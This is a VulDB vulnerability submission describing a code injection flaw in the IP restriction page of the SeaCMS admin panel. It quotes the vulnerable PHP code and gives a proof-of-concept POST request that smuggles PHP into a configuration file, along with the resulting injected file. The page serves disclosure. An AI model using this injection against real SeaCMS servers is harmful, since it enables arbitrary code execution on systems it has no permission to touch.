Submeter #659853: SeaCms v13.3.20250820 Code Injection

# Summary
SeaCMS v13.3.20250820 contains a critical code injection vulnerability in the admin panel that allows authenticated administrators to execute arbitrary PHP code on the server. The vulnerability exists in the admin_ip.php file where user-supplied input is directly written to a PHP configuration file without proper sanitization.

# Details
Affected Component
The vulnerability resides in the IP restriction management functionality of the admin panel:
/admin_ip.php?action=set

## Root Cause
The vulnerability occurs due to improper handling of user-supplied input in the $ip parameter when saving IP restriction settings. The application directly writes unsanitized input into the ../data/admin/ip.php file, which is later included and executed as PHP code.
```
// In admin_ip.php:
if($action=="set") {
$v = $_POST['v'];
$ip = $_POST['ip'];
$open = fopen("../data/admin/ip.php", "w");
$str = '<?php ';
$str .= '$v = "';
$str .= "$v";
$str .= '"; ';
$str .= '$ip = "';
$str .= "$ip";
$str .= '"; ';
$str .= " ?>";
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_ip.php");
exit;
}
```
# Proof of Concept (PoC)
An attacker with admin privileges can exploit this vulnerability by sending a specially crafted POST request:
```
POST /[admin's url]/admin_ip.php?action=set HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Cookie: [valid admin session cookies]

v=0&ip=1";phpinfo();$ip%20=%20"1
```
This payload will modify the ip.php file to contain:
```
<?php $v = "0"; $ip = "1";phpinfo();$ip = "1"; ?>
```
When we visit the background page, the phpinfo() function will be executed.
<img width="1232" height="991" alt="Image" src="https://github.com/user-attachments/assets/4d0939de-b9ab-485d-8088-a429f3eff935" />
Because index.php includes config.php, and config.php includes /data/admin/ip.php.

• Fonte: ⚠️ https://github.com/Hebing123/cve/issues/91
• Utilizador: jiashenghe (UID 39445)
• Submissão: 22/09/2025 11h44 (há 1 Ano)
• Moderação: 26/09/2025 14h38 (4 days later)
• Estado: Duplicado
• Entrada VulDB: 297622 [SeaCMS 13.3 admin_ip.php Elevação de Privilégios]
• Pontos: 0